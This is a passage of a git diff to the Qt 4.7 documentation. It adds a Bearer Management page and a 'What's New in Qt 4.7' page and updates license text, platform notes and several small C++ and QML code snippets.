\l{Qt Commercial Edition}{Qt Commercial License}. Instead, it is distributed under the following license. \legalese @@ -1015,7 +967,7 @@ The QAxContainer module is not covered by the \l{GNU General Public License (GPL)}, the \l{GNU Lesser General Public License (LGPL)}, or the - \l{Qt Commercial Editions}{Qt Commercial License}. Instead, it is distributed under + \l{Qt Commercial Edition}{Qt Commercial License}. Instead, it is distributed under the following license. \legalese @@ -1053,7 +1005,7 @@ located in the \c{src/s60main} directory are not covered by the \l{GNU General Public License (GPL)}, the \l{GNU Lesser General Public License (LGPL)}, or the - \l{Qt Commercial Editions}{Qt Commercial License}. Instead, they are + \l{Qt Commercial Edition}{Qt Commercial License}. Instead, they are distributed under the following license. \legalese @@ -1091,13 +1043,3 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." \endlegalese */ - -/*! - \page qtassistant.html - \title QtAssistant - - This module is no longer needed. Use the QtHelp module to integrate documentation - into your application. - - \sa {QtHelp} -*/ diff --git a/doc/src/network-programming/bearermanagement.qdoc b/doc/src/network-programming/bearermanagement.qdoc new file mode 100644 index 0000000..10d697a --- /dev/null +++ b/doc/src/network-programming/bearermanagement.qdoc @@ -0,0 +1,286 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page bearer-management.html + +\title Bearer Management +\brief An API to control the system's connectivity state. + +\ingroup network + +Bearer Management controls the connectivity state of the system so that +the user can start or stop interfaces or roam transparently between +access points. + +\tableofcontents + + +\section1 Overview + +The Bearer Management API controls the system's connectivity state. This +incorporates simple information such as whether the device is online and +how many interfaces there are as well as enables the application developer +to start, stop network interfaces and influences other connection specific +details. Depending on the platform's capabilities it may even provide +session management so that a network interface remains up for as long as +clients have a registered interest in them while at the same time +optimizes the interface's uptime. + +This API does not provide support for management of network configurations +themselves. It is up to the platform to provide infrastructure which +enables to user to create, edit or delete network configurations. + +\section2 The API in Detail + +Computer systems manage their network interfaces via a set of configurations. +Each configuration describes a set of parameters which instruct the system +how a particular network interface is started. One of the most simplistic +examples might be an Ethernet configuration that links a network card to a +DHCP server. A more complex example might be a Wireless LAN configuration +which may comprise of hardware details such as the WLAN card address, +WLAN access point details (e.g ESSID, encryption details) and user specific +information (for example username and password). Once the network interface +was configured and started according to the configuration blue print, +multiple applications are free to use this link layer connection/session +for their own socket operations. Note that the QNetworkConfiguration object +only provides limited information about the configuration details themselves. +It's main purpose is to act as a configuration identifier through which link +layer connections can be created, destroyed and monitored. + +QNetworkSession provides two types of use cases. It enables the monitoring of +physical network interfaces and management of network sessions. Network sessions +are a common feature on mobile devices where multiple applications +can request network sessions as they see fit. The system consolidates and tracks +active network sessions for the same network interface by maintaining the link +layer connections until the last session has been closed. The subsequent table +lists the major QNetworkSession functions and how they fit into the session and +hardware management categories: + +\table 60% +\header \o Interface management \o Session management +\row \o QNetworkSession::stop() \o QNetworkSession::open() +\row \o QNetworkSession::interface() \o QNetworkSession::close() +\row \o QNetworkSession::state() \o QNetworkSession::isOpen() +\row \o QNetworkSession::bytesWritten() \o QNetworkSession::migrate() +\row \o QNetworkSession::bytesReceived() \o QNetworkSession::ignore() +\row \o QNetworkSession::activeTime() \o QNetworkSession::accept() +\row \o QNetworkSession::stateChanged() \o QNetworkSession::reject() +\row \o \o QNetworkSession::opened() +\row \o \o QNetworkSession::closed() +\endtable + +The state of the session represents the state of the underlying access point +whereas the session's openness implies the networking/connectivity state available +to the current process. + +Possible use cases for interface management are network management related +applications which intend to monitor the connectivity state but do not engage +in network communication themselves. Any application wanting to open a socket +to a remote address will typically use session management related functionality. + +\section3 Service networks + +Some mobile platforms use the concept of grouped access points (also +called SNAP or Service Network Access Point). In principle multiple +configurations are grouped together and possibly even prioritized when +compared to each other. This is useful for use cases where all +configurations serve a similar purpose or context. A common context could +be that they provide access to the public Internet or possibly only to the +office Intranet. By providing a pool of configurations the system can make +a decision based on given priorities which usually map to factors such as +speed, availability and cost. Furthermore the system can automatically +roam from one access point to the next one while ensuring minimal impact on +the user experience. + +The \l{QNetworkConfiguration::Type} flag specifies to what category a +configuration belongs. The \l{QNetworkConfiguration::InternetAccessPoint} +type is the most common example. It represents a configuration that can be +used to create a session. The above mentioned grouping behavior is provided +by \l {QNetworkConfiguration::ServiceNetwork} configurations. Service +networks are place holders until such time when the user attempts to +\l {QNetworkSession::open()}{open()} a new session. At that point in time +the system determines which of the configurations \l{QNetworkConfiguration::children()} +is best to use. The selection algorithm is provided by the platform and is usually managed +by network settings applications. A service network can only have one level of indirection +which implies children can only be of type \l {QNetworkConfiguration::InternetAccessPoint}. + +Most systems allow the user to define the systems default configuration. +Usually the default behavior is either a service network, a particular +Internet access point or the user instructs the platform to ask the user +once an application requests the network. User interaction is generally +implemented by some sort of system dialog which shows up at the appropriate +point in time. The application does not have to handle the user input. This +API provides the \l QNetworkConfigurationManager::defaultConfiguration() +call which serves a similar purpose. The subsequent code snippet provides +a quick way how an application can quickly create a new network session +without (or only minimal) user interaction: + +\code + // Set Internet Access Point + QNetworkConfigurationManager manager; + const bool canStartIAP = (manager.capabilities() + & QNetworkConfigurationManager::CanStartAndStopInterfaces); + // Is there default access point, use it + QNetworkConfiguration cfg = manager.defaultConfiguration(); + if (!cfg.isValid() || (!canStartIAP && cfg.state() != QNetworkConfiguration::Active)) { + QMessageBox::information(this, tr("Network"), tr( + "No Access Point found.")); + return; + } + + session = new QNetworkSession(cfg, this); + session->open(); + session->waitForOpened(-1); +\endcode + +To accommodate the "Ask user" use case the default configuration can be of +type QNetworkConfiguration::UserChoice. A user choice configuration is +resolved as part of the \l {QNetworkSession::open()} call. Note that a +\l{QNetworkConfiguration::UserChoice}{UserChoice} configuration is only +ever returned via \l {QNetworkConfigurationManager::defaultConfiguration()} +and not \l QNetworkConfigurationManager::allConfigurations(). + +On systems which do not maintain a list of +\l {QNetworkConfigurationManager::defaultConfiguration()}{defaultConfiguration()} +an invalid configuration is returned. A possible workaround could be to +implement a custom dialog which is populated based on what +\l QNetworkConfigurationManager::allConfigurations() returns. + +\section3 Managing network sessions + +A QNetworkSession object separates a \l {QNetworkSession::state()}{state()} +and an \l{QNetworkSession::isOpen()}{isOpen()} condition. + +The state() attribute enables developers to detect whether the system +currently maintains a global network session for the given +QNetworkConfiguration. If \l {QNetworkSession::isOpen()}{isOpen()} +returns true the QNetworkSession instance at hand was at least one of the +entities requesting the global network session. This distinction is +required to support the notion of session registrations. For as long as +there are one or more open QNetworkSession instances the underlying +network interface is not shut down. Therefore the session +\l{QNetworkSession::state()}{state()} can be used to monitor the state of +network interfaces. + +An open session is created by calling \l {QNetworkSession::open()} and +closed via \l{QNetworkSession::close()}, respectively. If the session +is \l{QNetworkSession::Disconnected}{disconnected} at the time of the +\l{QNetworkSession::open()}{open()} call the underlying interface is started; +otherwise only the reference counter against the global session is +incremeted. The opposite behavior can be observed when using +\l{QNetworkSession::close()}{close()}. + +In some use cases it may be necessary to turn the interface off despite of +open sessions. This can be achieved by calling +\l{QNetworkSession::stop()}{stop()}. An example use case could be a +network manager type of application allowing the user to control the +overall state of the devices connectivity. + +Global (inter-process) session support is platform dependent and can be +detected via \l {QNetworkConfigurationManager::SystemSessionSupport}. +If the system does not support global session calling +\l{QNetworkSession::close()}{close()} never stops the interface. + +\section3 Roaming + +Roaming is the process of reconnecting a device from one network to another +while minimizing the impact on the application. The system notifies the application +about link layer changes so that the required preparation can be taken. +The most common reaction would be to reinitialize sockets and to renegotiate +stateful connections with other parties. In the most extreme cases applications +may even prevent the roaming altogether. + +Roaming is initiated when the system determines that a more appropriate access point +becomes available to the user. In general such a decision is based on cost, network speed +or network type (access to certain private networks may only be provided via certain access points). +Almost all devices providing roaming support have some form of global configuration application +enabling the user to define such groups of access points (service networks) and priorities. + +This API supports two types of roaming. Application level roaming (ALR) +provides the most control over the process. Applications will be notified about upcoming +link layer changes and get the opportunity to test the new access point. Eventually they can +reject or accept the link layer change. The second form of roaming is referred to as Forced Roaming. +The system simply changes the link layer without consulting the application. It is up to +the application to detect that some of its internal socket may have become invalid. As a consequence +it has to reinitialize those sockets and reestablish the previous user session without +any interruption. Forced roaming has the advantage that applications don't have to +manage the entire roaming process by themselves. + +QNetworkSession is the central class for managing roaming related issues. + +\section3 Platform capabilities + +Some API features are not available on all platforms. The +\l QNetworkConfigurationManager::Capability should be used to detect +platform features at runtime. The following table lists the various +platform APIs being used by this API. This may assist in the process of +determining the feature support: + +\table + \header + \o Platform + \o Backend capabilities + \row + \o Linux\unicode{0xAE} + \o Linux uses the \l {http://projects.gnome.org/NetworkManager}{NetworkManager API} which supports interface notifications and starting and stopping of network interfaces. + \row + \o Windows\unicode{0xAE} XP + \o This platform supports interface notifications without active polling. + \row + \o Windows XP SP2+Hotfixes, Windows XP SP3, Windows Vista, Windows 7 + \o In addition to standard Windows XP wifi access point monitoring has been improved which includes the ability to start and stop wifi interfaces. This requires Windows to manage the wifi interfaces. + \row + \o Symbian\unicode{0xAE} Platform & S60 3.1 + \o Symbian support is based on Symbian platforms RConnection. In addition to interface notifications, starting and stopping of network it provides system wide session support and direct connection routing. + \row + \o Symbian Platform & S60 3.2+ + \o This platform enjoys the most comprehensive feature set. In addition to the features support by the S60 3.1 Network roaming is supported. + \row + \o Mac OS\unicode{0xAE} + \o This platform has full support by way of CoreWLAN offered in Mac OS 10.6. Previous + versions of Mac OS - 10.5 and 10.4 have limited support. + \row + \o All other platforms (*nix, Windows Mobile) + \o This backend is the fallback for all platforms supports network interface notifications via active polling only. +\endtable + +*/ diff --git a/doc/src/network-programming/qtnetwork.qdoc b/doc/src/network-programming/qtnetwork.qdoc index d7e7481..36f48cf 100644 --- a/doc/src/network-programming/qtnetwork.qdoc +++ b/doc/src/network-programming/qtnetwork.qdoc @@ -53,11 +53,14 @@ \brief An Introduction to Network Programming with Qt The QtNetwork module offers classes that allow you to write TCP/IP clients - and servers. it offers classes such as QFtp that implement specific + and servers. It offers classes such as QFtp that implement specific application-level protocols, lower-level classes such as QTcpSocket, QTcpServer and QUdpSocket that represent low level network concepts, and high level classes such as QNetworkRequest, QNetworkReply and QNetworkAccessManager to perform network operations using common protocols. + It also offers classes such as QNetworkConfiguration, + QNetworkConfigurationManager and QNetworkSession that implement bearer + management. \tableofcontents @@ -327,4 +330,29 @@ by passing a factory to QNetworkProxyFactory::setApplicationProxyFactory() and a custom proxying policy can be created by subclassing QNetworkProxyFactory; see the class documentation for details. + + \section1 Bearer Management Support + + Bearer Management controls the connectivity state of the device such that + the application can start or stop network interfaces and roam + transparently between access points. + + The QNetworkConfigurationManager class manages the list of network + configurations known to the device. A network configuration describes the + set of parameters used to start a network interface and is represented by + the QNetworkConfiguration class. + + A network interface is started by openning a QNetworkSession based on a + given network configuration. In most situations creating a network session + based on the platform specified default network configuration is + appropriate. The default network configuration is returned by the + QNetworkConfigurationManager::defaultConfiguration() function. + + On some platforms it is a platform requirement that the application open a + network session before any network operations can be performed. This can be + tested by the presents of the + QNetworkConfigurationManager::NetworkSessionRequired flag in the value + returned by the QNetworkConfigurationManager::capabilities() function. + + \sa {Bearer Management} */ diff --git a/doc/src/platforms/emb-pointer.qdoc b/doc/src/platforms/emb-pointer.qdoc index 34510da..3c37b63 100644 --- a/doc/src/platforms/emb-pointer.qdoc +++ b/doc/src/platforms/emb-pointer.qdoc @@ -154,9 +154,9 @@ in the build environment. The tslib sources can be downloaded from \l - http://tslib.berlios.de. Use the \c configure script's -L and - -I options to explicitly specify the location of the library and - its headers: + http://tslib.berlios.de. Specify the location of the library and + its headers using -L and -I options in the \c qmake.conf file in + your \c mkspec. Also it can be helpful to add a -rpath-link: \snippet doc/src/snippets/code/doc_src_emb-pointer.qdoc 7 diff --git a/doc/src/platforms/mac-differences.qdoc b/doc/src/platforms/mac-differences.qdoc index bda439d..58d64de 100644 --- a/doc/src/platforms/mac-differences.qdoc +++ b/doc/src/platforms/mac-differences.qdoc @@ -301,7 +301,7 @@ \contentspage {Other Licenses Used in Qt}{Contents} \ingroup licensing - \brief License information for contributions by Apple, Inc. to specific parts of the Qt/Mac Cocoa port. + \brief License information for contributions by Apple, Inc. to specific parts of the Qt for Mac OS X Cocoa port. \legalese diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc index 85fa029..8f5b6a5 100644 --- a/doc/src/platforms/platform-notes.qdoc +++ b/doc/src/platforms/platform-notes.qdoc @@ -263,14 +263,6 @@ Install Qt into a subdirectory without spaces to avoid this problem. - \section2 AccelGALAXY graphic card - - When you use a NT 4.0 machine with the driver number - 4,00,1381,1000,021,4.0.0 there is a problem with drag an drop and icons. - The computer freezes, and you have to reset. The problem disappears with - the newest version of the driver, available at - \l{http://www.es.com/}{www.es.com}. - \section2 Possible GL conflict There is a known issue with running Microsoft NetMeeting, Lotus SameTime diff --git a/doc/src/platforms/wince-opengl.qdoc b/doc/src/platforms/wince-opengl.qdoc index afc1c0b..c1be4bc 100644 --- a/doc/src/platforms/wince-opengl.qdoc +++ b/doc/src/platforms/wince-opengl.qdoc @@ -53,7 +53,7 @@ Windows CE window manager. \section2 Configure -To configure Qt for Windows Mobile 5.0 and OpenGL ES Common Lite support +To configure Qt for Windows Mobile 5.0 and OpenGL ES Common support you can run \c{configure} like this: \snippet doc/src/snippets/code/doc_src_wince-opengl.qdoc 0 @@ -61,17 +61,12 @@ you can run \c{configure} like this: OpenGL ES includes profiles for floating-point and fixed-point arithmetic. The floating point profile is called OpenGL ES CM (Common) and the fixed-point profile is called OpenGL ES CL (Common Lite). +The fixed-point profile is no longer supported since Qt 4.7. You can run \c{configure} with the \c{-opengl-es-cm} option for the Common -profile or \c{-opengl-es-cl} for the Common Lite profile. In both cases, -ensure that the \c{lib} and \c{includes} paths include the OpenGL ES +profile. Ensure that the \c{lib} and \c{includes} paths include the OpenGL ES headers and libararies from your SDK. The OpenGL ES lib should be called -either \c{libGLES_CM.lib} for the Common profile or \c{libGLES_CL.lib} for -the Common Lite profile. - -The distinction between the Common and Common Lite profiles is important, -because the Common Lite profile has less functionality and only supports a -fixed-point vertex format. +either \c{libGLES_CM.lib} for the Common profile. To start programming with Qt and OpenGL ES on Windows CE, you can start with the \l{Hello GL ES Example}. This example shows how to use QGLWidget diff --git a/doc/src/porting/porting4.qdoc b/doc/src/porting/porting4.qdoc index 68e6119..1b6eeb7 100644 --- a/doc/src/porting/porting4.qdoc +++ b/doc/src/porting/porting4.qdoc @@ -3793,11 +3793,10 @@ multimedia timer API, which gives us 1 millisecond resolution for QTimer. - Note that other versions of Windows have a lower timer resolution, - and that code relying on underlying system timer restrictions - encounters no such limitations using Qt 4 (e.g., setting an - interval of 0 millisecond results in Qt occupying all of the - processor time when no GUI events need processing). + Note that Windows 2000 has a lower timer resolution, and that code relying + on underlying system timer restrictions encounters no such limitations + using Qt 4 (e.g., setting an interval of 0 millisecond results in Qt + occupying all of the processor time when no GUI events need processing). \section1 QToolBar diff --git a/doc/src/qt4-intro.qdoc b/doc/src/qt4-intro.qdoc index daceba5..f1b5d41 100644 --- a/doc/src/qt4-intro.qdoc +++ b/doc/src/qt4-intro.qdoc @@ -52,8 +52,6 @@ issues that you may encounter. It also explains how to turn on Qt 3 compatibility support. - \tableofcontents - \section1 New Technologies in Qt 4 Qt 4 introduces the following core technologies: @@ -225,9 +223,9 @@ \row \o \l{Qt3Support} \o Qt 3 support classes \row \o \l{QAxContainer} \o ActiveQt client extension \row \o \l{QAxServer} \o ActiveQt server extension - \row \o \l{QtAssistant} \o Classes for launching Qt Assistant + \row \o \l{QtHelp} \o Classes for integrating online documentation \row \o \l{QtDesigner} \o Classes for extending and embedding Qt Designer - \row \o \l{QtUiTools} \o Classes for dynamic GUI generation + \row \o \l{QtUiTools} \o Classes for dynamic GUI generation \row \o \l{QtTest} \o Tool classes for unit testing \endtable @@ -457,6 +455,72 @@ */ /*! + \page qt4-7-intro.html + \title What's New in Qt 4.7 + + Qt 4.7 provides many improvements and enhancements over the + previous releases in the Qt 4 series. This document covers the + most important features in this release, separated by category. + + A list of other Qt 4 features can be found on the \bold{\l{What's + New in Qt 4}} page. + + \section1 Declarative UI development with Qt Quick + + \image quick_screens.png + + Qt 4.7 introduces Quick, the Qt UI Creation Kit. that enables the creation + of dynamic user interfaces, easier and more effective than possible + with existing UI technologies. This UI Creation Kit consist of three + technologies: + + \list + \i QML is a declarative language oriented on JavaScript that utilizes + Qt's Meta-Object capabilities to enable designers and developers to + collaborate tightly and create animated and fluid user experiences, + using existing knowledge in script language and design. + + \i QtDeclarative is a C++ library that provides the underlying engine, + which translates the declarative description of the UI in QML into + items on a QGraphicsScene. The library also provides APIs to bind + custom C++ types and elements to QML, and to connect the QML UI with + the underlying application logic written in C++. + + \i Qt Creator has been improved to support interactive editing of + QML UIs through drag-and-drop. The text editor supports the QML + syntax and provides authoring assistance such as auto-completion, + error lookup, help lookup and easy preview of QML UI's. + \endlist + + \section1 Network Bearer Management + + Bearer Management controls the connectivity state of the system. + The new Bearer Management API in the QtNetwork module allows the + application to identify whether the system is online and how many + interfaces there are, as well as start and stop interfaces, or + roam transparently between access points. + + QNetworkAccessManager uses this API for HTTP level roaming. + + \section1 Multimedia - playback and declarative elements + + The Multimedia API provides media playback and playlist support + for Qt Applications. Play music and movies through a single interface + with selectable output for movies to widgets or graphics view. + + Multimedia support for Quick is also available with the new multimedia + declarative elements. + + \section1 New Classes, Functions, Macros, etc. + + Links to new classes, elements, functions, macros, and other items + introduced in Qt 4.7. + + \sincelist 4.7 + +*/ + +/*! \page qt4-6-intro.html \title What's New in Qt 4.6 @@ -479,10 +543,6 @@ A list of other Qt 4 features can be found on the \bold{\l{What's New in Qt 4}} page. - \bold{Highlights} - - \tableofcontents - \section1 Support for Symbian Qt 4.6 is the first release to include support for the Symbian @@ -692,10 +752,6 @@ A list of other Qt 4 features can be found on the \bold{\l{What's New in Qt 4}} page. - \bold{Highlights} - - \tableofcontents - \section1 Qt WebKit Integration \image webkit-netscape-plugin.png diff --git a/doc/src/snippets/audio/main.cpp b/doc/src/snippets/audio/main.cpp index 019f208..e21bf75 100644 --- a/doc/src/snippets/audio/main.cpp +++ b/doc/src/snippets/audio/main.cpp @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the test suite of the Qt Toolkit. +** This file is part of the documentation of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage diff --git a/doc/src/snippets/code/doc_src_assistant-manual.qdoc b/doc/src/snippets/code/doc_src_assistant-manual.qdoc index 7438365..96aa71d 100644 --- a/doc/src/snippets/code/doc_src_assistant-manual.qdoc +++ b/doc/src/snippets/code/doc_src_assistant-manual.qdoc @@ -58,7 +58,7 @@ assistant -collectionFile file <cacheDirectory>mycompany/myapplication</cacheDirectory> <aboutMenuText> <text>About My Application</text> - <text language="de">ber meine Applikation...</text> + <text language="de">Über meine Applikation...</text> </aboutMenuText> <aboutDialog> <file>about.txt</file> @@ -95,8 +95,7 @@ if (!process->waitForStarted()) //! [3] QByteArray ba; -ba.append("setSource qthelp://com.mycompany.1_0_0/doc/index.html"); -ba.append('\0'); +ba.append("setSource qthelp://com.mycompany.1_0_0/doc/index.html\n"); process->write(ba); //! [3] @@ -105,8 +104,7 @@ process->write(ba); QByteArray ba; ba.append("hide bookmarks;"); ba.append("hide index;"); -ba.append("setSource qthelp://com.mycompany.1_0_0/doc/index.html"); -ba.append('\0'); +ba.append("setSource qthelp://com.mycompany.1_0_0/doc/index.html\n"); process->write(ba); //! [4] diff --git a/doc/src/snippets/code/doc_src_emb-pointer.qdoc b/doc/src/snippets/code/doc_src_emb-pointer.qdoc index 9661ae5..0d66e18 100644 --- a/doc/src/snippets/code/doc_src_emb-pointer.qdoc +++ b/doc/src/snippets/code/doc_src_emb-pointer.qdoc @@ -77,7 +77,10 @@ export QWS_MOUSE_PROTO="Vr41xx:press=500:/dev/misc/ts" //! [7] -./configure -L <path to tslib library> -I <path to tslib headers> +.... +QMAKE_CFLAGS += -I<path to tslib headers> +QMAKE_LFLAGS += -L<path to tslib library> -Wl,-rpath-link=<path to tslib library> +.... //! [7] diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc index d9e5d3c..5789662 100644 --- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc +++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc @@ -886,7 +886,7 @@ TARGET.CAPABILITY += AllFiles //! [133] //! [134] -TARGET.CAPABILITY = ALL -TCB +TARGET.CAPABILITY = ALL -TCB -DRM -AllFiles //! [134] //! [135] diff --git a/doc/src/snippets/code/doc_src_wince-opengl.qdoc b/doc/src/snippets/code/doc_src_wince-opengl.qdoc index eef1540..601b00a 100644 --- a/doc/src/snippets/code/doc_src_wince-opengl.qdoc +++ b/doc/src/snippets/code/doc_src_wince-opengl.qdoc @@ -40,5 +40,5 @@ ****************************************************************************/ //! [0] -configure -platform win32-msvc2005 -xplatform wincewm50pocket-msvc2005 -opengl-es-cl +configure -platform win32-msvc2005 -xplatform wincewm50pocket-msvc2005 -opengl-es-cm //! [0] diff --git a/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp b/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp index 94a9f68..2867bd5a 100644 --- a/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp +++ b/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp @@ -61,5 +61,6 @@ void MyClass::callFinishedSlot(QDBusPendingCallWatcher *call) QByteArray data = reply.argumentAt<1>(); showReply(text, data); } + call->deleteLater(); } //! [1] diff --git a/doc/src/snippets/code/src_corelib_kernel_qmetatype.cpp b/doc/src/snippets/code/src_corelib_kernel_qmetatype.cpp index bff72a0..19e37ba 100644 --- a/doc/src/snippets/code/src_corelib_kernel_qmetatype.cpp +++ b/doc/src/snippets/code/src_corelib_kernel_qmetatype.cpp @@ -108,3 +108,8 @@ int id = qRegisterMetaType<MyStruct>(); int id = qMetaTypeId<QString>(); // id is now QMetaType::QString id = qMetaTypeId<MyStruct>(); // compile error if MyStruct not declared //! [8] + +//! [9] +typedef QString CustomString; +qRegisterMetaType<CustomString>("CustomString"); +//! [9] diff --git a/doc/src/snippets/code/src_corelib_statemachine_qstatemachine.cpp b/doc/src/snippets/code/src_corelib_statemachine_qstatemachine.cpp index a18971d..1b1abea 100644 --- a/doc/src/snippets/code/src_corelib_statemachine_qstatemachine.cpp +++ b/doc/src/snippets/code/src_corelib_statemachine_qstatemachine.cpp @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the test suite of the Qt Toolkit. +** This file is part of the documentation of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage diff --git a/doc/src/snippets/code/src_gui_image_qicon.cpp b/doc/src/snippets/code/src_gui_image_qicon.cpp index df1fa82..e0dcfa6 100644 --- a/doc/src/snippets/code/src_gui_image_qicon.cpp +++ b/doc/src/snippets/code/src_gui_image_qicon.cpp @@ -56,8 +56,8 @@ void MyWidget::drawIcon(QPainter *painter, QPoint pos) QPixmap pixmap = icon.pixmap(QSize(22, 22), isEnabled() ? QIcon::Normal : QIcon::Disabled, - isOn() ? QIcon::On - : QIcon::Off); + isChecked() ? QIcon::On + : QIcon::Off); painter->drawPixmap(pos, pixmap); } //! [2] diff --git a/doc/src/snippets/code/src_gui_text_qtextlayout.cpp b/doc/src/snippets/code/src_gui_text_qtextlayout.cpp index ad5725e..13040ea 100644 --- a/doc/src/snippets/code/src_gui_text_qtextlayout.cpp +++ b/doc/src/snippets/code/src_gui_text_qtextlayout.cpp @@ -42,7 +42,6 @@ //! [0] int leading = fontMetrics.leading(); qreal height = 0; -qreal widthUsed = 0; textLayout.beginLayout(); while (1) { QTextLine line = textLayout.createLine(); @@ -53,7 +52,6 @@ while (1) { height += leading; line.setPosition(QPointF(0, height)); height += line.height(); - widthUsed = qMax(widthUsed, line.naturalTextWidth()); } textLayout.endLayout(); //! [0] diff --git a/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp b/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp index 643d0dd..1853650 100644 --- a/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp +++ b/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp @@ -60,3 +60,21 @@ connect(reply, SIGNAL(error(QNetworkReply::NetworkError)), connect(reply, SIGNAL(sslErrors(QList<QSslError>)), this, SLOT(slotSslErrors(QList<QSslError>))); //! [1] + +//! [2] +QNetworkConfigurationManager manager; +networkAccessManager->setConfiguration(manager.defaultConfiguration()); +//! [2] + +//! [3] +networkAccessManager->setConfiguration(QNetworkConfiguration()); +//! [3] + +//! [4] +networkAccessManager->setNetworkAccessible(QNetworkAccessManager::NotAccessible); +//! [4] + +//! [5] +networkAccessManager->setNetworkAccessible(QNetworkAccessManager::Accessible); +//! [5] + diff --git a/doc/src/snippets/code/src_network_bearer_qnetworkconfigmanager.cpp b/doc/src/snippets/code/src_network_bearer_qnetworkconfigmanager.cpp new file mode 100644 index 0000000..e2cc4df --- /dev/null +++ b/doc/src/snippets/code/src_network_bearer_qnetworkconfigmanager.cpp @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [0] +QNetworkConfigurationManager mgr; +QList<QNetworkConfiguration> activeConfigs = mgr.allConfigurations(QNetworkConfiguration::Active) +if (activeConfigs.count() > 0) + Q_ASSERT(mgr.isOnline()) +else + Q_ASSERT(!mgr.isOnline()) +//! [0] diff --git a/doc/src/snippets/declarative/border-image.qml b/doc/src/snippets/declarative/border-image.qml new file mode 100644 index 0000000..9c4247e --- /dev/null +++ b/doc/src/snippets/declarative/border-image.qml @@ -0,0 +1,29 @@ +import Qt 4.7 + +Rectangle { + id: page + color: "white" + width: 520; height: 280 + + Row { + anchors.centerIn: parent + spacing: 50 +//! [0] +BorderImage { + width: 180; height: 180 + border { left: 30; top: 30; right: 30; bottom: 30 } + horizontalTileMode: BorderImage.Stretch + verticalTileMode: BorderImage.Stretch + source: "content/colors.png" +} + +BorderImage { + width: 180; height: 180 + border { left: 30; top: 30; right: 30; bottom: 30 } + horizontalTileMode: BorderImage.Round + verticalTileMode: BorderImage.Round + source: "content/colors.png" +} +//! [0] + } +} diff --git a/doc/src/snippets/declarative/codingconventions/dotproperties.qml b/doc/src/snippets/declarative/codingconventions/dotproperties.qml new file mode 100644 index 0000000..942b0b1 --- /dev/null +++ b/doc/src/snippets/declarative/codingconventions/dotproperties.qml @@ -0,0 +1,28 @@ +import Qt 4.7 + +Item { + +//! [0] +Rectangle { + anchors.left: parent.left; anchors.top: parent.top; anchors.right: parent.right; anchors.leftMargin: 20 +} + +Text { + text: "hello" + font.bold: true; font.italic: true; font.pixelSize: 20; font.capitalization: Font.AllUppercase +} + +//! [0] + +//! [1] +Rectangle { + anchors { left: parent.left; top: parent.top; right: parent.right; leftMargin: 20 } +} + +Text { + text: "hello" + font { bold: true; italic: true; pixelSize: 20; capitalization: Font.AllUppercase } +} +//! [1] + +} diff --git a/doc/src/snippets/declarative/codingconventions/javascript-imports.qml b/doc/src/snippets/declarative/codingconventions/javascript-imports.qml new file mode 100644 index 0000000..417366c --- /dev/null +++ b/doc/src/snippets/declarative/codingconventions/javascript-imports.qml @@ -0,0 +1,7 @@ +import Qt 4.7 + +//![0] +import "myscript.js" as Script + +Rectangle { color: "blue"; width: Script.calculateWidth(parent) } +//![0] diff --git a/doc/src/snippets/declarative/codingconventions/javascript.qml b/doc/src/snippets/declarative/codingconventions/javascript.qml new file mode 100644 index 